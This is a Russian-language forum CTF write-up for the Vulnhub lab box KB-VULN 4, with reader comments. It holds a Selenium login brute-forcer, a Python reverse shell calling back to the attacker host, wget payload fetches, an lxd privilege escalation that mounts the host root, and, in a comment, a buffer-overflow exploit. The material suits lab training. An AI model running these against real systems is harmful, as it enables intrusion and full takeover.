• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Writeup KB-VULN: 4 FINAL Vulnhub - а могло быть переполнение буфера

INPC

Grey Team
21.08.2019
77
161
BIT
137
Приветствую!

Если взялся - надо доводить до конца, поэтому представляю вашему вниманию прохождение четвертой - финальной машины из серии KB-VULN. Прохождение предыдущих коробок можно посмотреть тут 1, 2 и 3.
Найти и скачать представленную в разборе коробку можно тут .

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

По стандарту - сначала найдем атакуемую машину в сети используя команду:
~$ sudo netdiscover
Получаем нужный ip: 192.168.3.146

Далее просканируем машину nmap'ом:
~$ nmap -A -p- -v 192.168.3.146
1638878294592.png


В этот раз видим всего 2 сервиса: 22 порт - ssh и 80 порт - http. От сюда же видим, странный титл = Hacked , так же директорию .git.
Перейдя на обнаруженный сайт ( ) становится ясно - кто-то уже взломал и задефейсил сайт:
1638879024389.png


Попробуем для начала по простому перебрать директории сайта и посмотреть, что получится:
~$ dirb http://192.168.3.146
1638879400887.png


Сразу же видим несколько директорий: /.git, /rpc, /files, /sites и /textpattern
Все они представляют интерес, но меня заинтересовали 2 директории: /textpattern и /.git
Открыв /textpattern становится понятно, что это страница входа cms:
1638881883910.png


Теперь нужно где-то найти логин и пароль для получения админской учетки данной cms. Оставим пока textpattern и пойдем смотреть .git, в нем может быть что-то полезное.
В гите сразу представляет интерес конфиг-файл ( ), из которого можно взять ссылку на репозиторий данной cms (GitHub - textpattern/textpattern: A flexible, elegant, fast and easy-to-use content management system written in PHP.):
1638883116337.png


И тут я завис на очень долгое время, просмотр содержимого сайта полезной информации не дал... Не так давно я видел прохождение какой-то машины, где логин/пароль от cms сайта были найдены, при просмотре коммитов, в логе гит-репозитория самой cms. Наивно решив, что тут похожий кейс, я перебрал все коммиты (а их ой, как не мало), но ничего не нашел. В конце-концов, пробуя разные методы атак на сайт, я наконец-то обратил внимание на того, кто указан, как хакер, задефейсевший сайт - machineboy141 и полез искать его в гугле. В результате был найден профиль на гите, в котором представлял интерес только репозиторий - KB-DUNMP. Склонировав его, все что я увидел - фотографии... Ага, понял, но так просто я не сдамся... Со стенографий +- знакомы, CTF разные решали, поехали ковырять фото:
steghide extract -sf *
1638884349363.png


Ага, 3 файла были со скрытым содержимым внутри, хорошо, просмотрим содержимое этих файлов:
kali@kali:~/Lab/KB-DUMP$ cat steganopayload202720.txt
25>:?
kali@kali:~/Lab/KB-DUMP$ cat steganopayload1125546.txt
6K3:C4:>6a_a_
kali@kali:~/Lab/KB-DUMP$ cat steganopayload1125574.txt
1638884593521.png


Ну, все ясно, это ROT13 - подумал я. Но нет - сказал rot13... Короче, довольно быстро, методом тыка стало ясно, что это кодировка ROT47:

1638885101711.png


Наконец-то получены логин и пароль, даже сомнений нет, что они от админки сайта, бежим логиниться и ... Ничего... Логин/пароль не верные, а что же мы тогда нашли? Неее, я не верю, что это что-то не то, наверно, тут еще какая-то загадка. Вглядываясь в пароль, я вдруг осознал, что последние 4 цифры - год (на самом деле, это и так сразу понятно). И тут мне в голову пришла глупая мысль, о том, что год должен быть какой-то памятной датой для автора, вот только что это за дата - не ясно. Ну ладно, это всего лишь 4 цифры, можно и забрутфорсить.
Сначала я хотел по простому использовать модуль "requests", но что-то пошло не так и, к стыду моему, я так и не смог разобраться, как же правильно послать пакет для авторизации в данном случае (если найдутся энтузиасты питонисты - прошу скинуть в комментариях код, как у вас получилось это реализовать), так что я набросал свой говноскрипт, используя селениум (по сути тот же парсер только дольше... намного дольше...).
Собственно сам код:
Python:
from selenium import webdriver
from selenium.webdriver.firefox.firefox_binary import FirefoxBinary


_url = 'http:/192.168.3.146/textpattern/index.php'
driver = webdriver.Firefox(executable_path=r'/home/kali/Lab/geckodriver')
driver.get(_url)

def authorization(_pass):
    driver.find_element_by_id('login_name').send_keys('admin')
    driver.find_element_by_id('login_password').clear()
    driver.find_element_by_id('login_password').send_keys("ezbircime"+str(_pass))
    driver.find_element_by_class_name('publish').click()
    t = driver.title
    if str(t) != 'Логин - My site | Textpattern CMS':
        return 1
    else:
        return 0

file = open('passwords.txt', 'r').read().splitlines()
for item in file:
    #print(item)
    if authorization(item) == 1:
        print('[+] Password found: '+ 'ezbircime' + item)
        break

Если коротко - скрипт открывает страничку авторизации, читает файл с паролями (в нем у нас только даты, которые подставляются к остальной части пароля), вбивает в нужные поля логин/пароль и жмякает "Войти", если не удалось - повторяет со следующим паролем. Я сформировал файл со всем знаменательными историческими датами + каждый год, начиная с 1970.
Минут 40 спустя (а если бы разобрался с авторизацией, через request, почти не ждал бы) пришлось отложить свой чай (ну допустим), т.к. пароль наконец подобрался:
1638889273617.png


И тут я понял, каким же глупцом я был, ведь по итогу оказалось, что пароль = ezbircime2021. Надо было, всего лишь, изменить год, на текущий (с 2020 на 2021). Ну ладно, логин и пароль от админки есть, теперь можно загрузить на сервер свой шелл, а можно взять уже готовый - .
Использовав приведенный выше эксплоит, получаем реверс-шелл на целевой машине:
~$ python3 50095.py --url http://192.168.3.146/textpattern/index.php --user admin --password ezbircime2021
1638890003313.png


1638890131821.png


Удобно, но можно сделать еще удобнее, загрузив на атакуемую машину стабильный python revers-shell.
Содержимое файла rev.py, который будем загружать на сервер:

Python:
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.3.131",1337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Загрузить реверс-шелл можно через cms, но мне просто удобнее по быстрому развернуть веб-сервер на основной машине и, используя команду wget, стянуть его на целевую машину:
~$ pyton -m SimpleHTTPServer 80

И из php шелла, в веб-мрде:
wget http://192.168.3.131/rev.py
1638890493187.png


Запустим прослушиватель на основной машине:
~$ nc -lnvp 1337

Выдаем права файлу на исполнение и запустим его (эти действия снова проводим в веб-морде):
chmod +x rev.py
python rev.py

И вот мы на сервере и имеем нормальный шелл:
1638890862273.png


Фуух, с этим разобрались, теперь нужно найти данные для получения учетной записи пользователя, а потом и рута.
Не буду приводить здесь весь процесс поиска данных на сервере, просто в кратце подведу итоги. В файле /etc/passwd блыл найден логин пользователя - machineboy, а в файле /var/www/html/textpattern/textpattern/config.php был найден пароль -ghostroot510.
1638891773338.png

1638891661486.png


Вот, к слову, очень хорошая статья с хабра, в которой очень не плохо расписаны действия после получения доступа к серверу.
Что ж , подключаемся по ssh, как пользователь "machineboy":
~$ ssh machineboy@192.168.3.146
Password: ghostroot510
1638892890206.png


Есть контакт, пользовательский флаг наш! Сам флаг user.txt: 1b5cec2e69c4d72571ac4fd9e618bd2a
Сходу сразу же видно файлы "install", его исходник "install.c" и "peda" - это расширение для отладчика GDB, которое добавляет кучу дополнительных функций. Нас в первую очередь интересует явно самописный файл install.c следующего содержания:
C:
#include <stdio.h>
#include <stdlib.h>
void spawn_shell()
{
     setuid(0);
     system("/bin/bash");
}

int main()
{
      char buff[30];
      const char *env = getenv("INSTALLED");
      if(env != NULL)
      {
        strcpy(buff,env);
        printf("%s\n",buff);
      }

      else
      {
         system("sudo apt install sl");
         system("export INSTALLED=OK");
      }
     return 0;
}
1638893238001.png

Глядя на исходник (особенно на переменную - char buff[30];) мне хватает ума понять, что тут явная эксплуатация уязвимости с переполнением буфера, однако я не разбираюсь в этом от слова "совсем", а вникать в эту тему долго (я не забиваю на это совсем и после написания статьи пойду учить данную тему, уже учил бы, если бы не нашел путь проще), кстати, если кто-то напишет в комментах, как проэксплуатировать данную уязвимость (конкретно в этом случае), будет очень круто. Итак, как я уже сказал, есть способ проще (для меня) повысить привилегии, нежели ломать чей-то код, используя команду
~$ id
Видно, что пользователь "machineboy" входит в группу lxd.
1638894626971.png


Благодаря хабру, а именно вот этой статье (какое совпадение, что я её читал как раз пару недель назад) и соответствующему (очень подробному, к слову) , мне известно, что LXD — это системный менеджер контейнеров. Он предлагает пользовательский интерфейс, похожий на виртуальные машины, но использующий вместо этого контейнеры Linux.
Ядро LXD — это привилегированный демон, который предоставляет REST API через локальный unix сокет, а также через сеть, если установлена соответствующая конфигурация. Клиенты, такие как инструмент командной строки поставляемый с LXD посылают запросы через этот REST API. Это означает, что независимо от того, обращаетесь ли вы к локальному хосту или к удаленному, все работает одинаково.
Собственно, через lxd и будет проводиться атака, для повышения привилегий (*Скриншоты ниже представлены с моей ВМ Kali, под кедами (графическая оболочка kde), т.к. Raspberry c которой я проводил атаку до этого не имеет нужной архитектуры и мне было проще запустить другую машину, чем запариваться с грамотным компилированием эксплоита, приведенного ниже*).
На основную машину стягиваем с гита репозиторий , переходим в него, собираем свежий alpine и запускаем локальный веб-сервер, чтобы стянуть полученный образ на удаленный хост.:
~$ sudo bash build-alpine
~$ sudo python -m SimpleHTTPServer 80
1638896657098.png


Теперь внимательно выполняем нужные шаги (сначала я приведу команды и действия, а после скриншот, где показано все целиком):
- Стягиваем образ с основной машины на целевую:
machineboy@kb-server:~$ wget http://192.168.3.144/alpine-v3.13-x86_64-20210218_0139.tar.gz

- Импортируем lxd-совместимый файл образ:
machineboy@kb-server:~$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias ralf

- Смотрим, что образ успешно загружен:
machineboy@kb-server:~$ lxc image list
1638897058557.png

- Инициализируем (на все вопросы просто жмем ENTER):
machineboy@kb-server:~$ lxd init

- Создаем контейнер, указав образ и имя:
machineboy@kb-server:~$ lxc init ralf ignite -c security.privileged=true

- Задаем конфигурации, где диск будет примонтирован как /mnt/root (по стандарту):
machineboy@kb-server:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

- Запускаем:
machineboy@kb-server:~$ lxc start ignite

- Выполняем и смотрим, кто мы теперь:
machineboy@kb-server:~$ lxc exec ignite /bin/sh
~ # whoami
root

1638897575781.png


Помним про то, что диск был смонтирован как /mnt/root. так что идем искать флаг там (т.е. теперь там у нас отображается система)
~ # cd /mnt/root
1638897797334.png


И забираем честно заслуженный рут-флаг:
/mnt/root # cd root
/mnt/root/root # cat root.txt

1638897890333.png


Собственно сам рут-флаг: cdf323526dbbd53d572d485fdd37d518

Вот и все, финальная машина из серии KB-VULN успешно захвачена! Серия KB-VULN подошла к концу, но дальше будет еще много прохождений различных машин.
Выражаю огромную благодарность всем, кто оставил оценки и комментарии, к прошлому врайтапу, это дает очень сильную мотивацию продолжать подобную деятельность и писать статьи.
И конечно же спасибо всем, кто дочитал этот врайтап до конца.
 

INPC

Grey Team
21.08.2019
77
161
BIT
137
В врайтапы подглядываешь или все сам?
Статьи опубликованные - полностью самостоятельно. Начинал вообще по врайтапам, сейчас ищу прохождения, если только очень долго не могу сам разобраться и вариантов действий уже не вижу (и то, как правило оказывается, что я нашел все, что нужно, но не знал что это вообще можно использовать). Так что, полагаю зависит от сложности машины.
 
  • Нравится
Реакции: mcfly
02.03.2021
552
399
BIT
242
Отличная статья, читал с удовольствием.
Если правильно понял проблему с перебором пароля можно использовать ffuf
почитать про него можно
 
  • Нравится
Реакции: Mogen и INPC

Mogen

Red Team
27.08.2019
314
612
BIT
8
Спасибо, INPC, за интересный цикл статей! (y)

А на машине выключен ASLR? (cat /proc/sys/kernel/randomize_va_space. Если 0, то да).
Или загрузите, пожалуйста, программу install на Google-диск для скачивания :)
 
Последнее редактирование:

Mogen

Red Team
27.08.2019
314
612
BIT
8
C:
#include <stdio.h>
#include <stdlib.h>
void spawn_shell()
{
     setuid(0);
     system("/bin/bash");
}

int main()
{
      char buff[30];
      const char *env = getenv("INSTALLED"); # получаем значение переменной окружения INSTALLED в *env
      if(env != NULL) # Если значение есть (не равно 0x00000000), то
      {
        strcpy(buff,env); # копируем в buff значение env
        printf("%s\n",buff); # печатаем значение buff
      }

      else
      {
         system("sudo apt install sl");
         system("export INSTALLED=OK");
      }
     return 0;
}

Мы должны перетереть адрес возврата (esp) через переполнение буфера (buff).

Создаём тестовое значение в переменной окружении для того, чтобы узнать начало места, где можно перетереть адрес возврата. export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF")'` .

gdb install - открываем программу под gdb
r - запускаем программу

1638984510900.png


Программа пытается обратиться по адресу 0x45454545 (EEEE). Ищем адрес функции spawn_shell (info address spawn_shell). Оно может отличаться. Меняем "EEEE" на "\xdd\x15\x5b\x56" в эксплойте. Остальное убираем.

export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`

У нас включен ASLR (cat /proc/sys/kernel/randomize_va_space. (Значение равно 2). Адрес в программе не сильно изменяется (запускаем программу несколько раз под gdb). Мы можем запустить несколько раз программу, и в один из запусков адрес функции spawn_shell будет равно значению из эксплойта. Тогда после функции main, программа вернётся в spawn_shell. Используем скрипты bash для автоматизации.

export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`

for i in {1..150}; do ./install; done

Мы стали пользователем root.

1638984014700.png
1638983578700.png
 
Последнее редактирование:

INPC

Grey Team
21.08.2019
77
161
BIT
137
C:
#include <stdio.h>
#include <stdlib.h>
void spawn_shell()
{
     setuid(0);
     system("/bin/bash");
}

int main()
{
      char buff[30];
      const char *env = getenv("INSTALLED"); # получаем значение переменной окружения INSTALLED в *env
      if(env != NULL) # Если значение есть (не равно 0x00000000), то
      {
        strcpy(buff,env); # копируем в buff значение env
        printf("%s\n",buff); # печатаем значение buff
      }

      else
      {
         system("sudo apt install sl");
         system("export INSTALLED=OK");
      }
     return 0;
}

Мы должны перетереть адрес возврата (esp) через переполнение буфера (buff).

Создаём тестовое значение в переменной окружении для того, чтобы узнать начало места, где можно перетереть адрес возврата. export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF")'` .

gdb install - открываем программу под gdb
r - запускаем программу

Посмотреть вложение 55488

Программа пытается обратиться по адресу 0x45454545 (EEEE). Ищем адрес функции spawn_shell (info address spawn_shell). Оно может отличаться. Меняем "EEEE" на "\xdd\x15\x5b\x56" в эксплойте. Остальное убираем.

export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`

У нас включен ASLR (cat /proc/sys/kernel/randomize_va_space. (Значение равно 2). Адрес в программе не сильно изменяется (запускаем программу несколько раз под gdb). Мы можем запустить несколько раз программу, и в один из запусков адрес функции spawn_shell будет равно значению из эксплойта. Тогда после функции main, программа вернётся в spawn_shell. Используем скрипты bash для автоматизации.

export INSTALLED=`python -c 'print("A"*30+"BBBB"+"CCCC"+"DDDD"+"\xdd\x15\x5b\x56")'`

for i in {1..150}; do ./install; done

Мы стали пользователем root.

Посмотреть вложение 55485Посмотреть вложение 55484
Благодарю за классное пояснение, очень информативно!
 
  • Нравится
Реакции: Mogen

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Эх жаль что автор статьи не смог написать сплойт для повышения привилегий. За это МИНУС!
@Mogen красава сделал работу за автора. Вот только не "перетереть" а перезаписать)))
 
  • Нравится
Реакции: Mogen
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!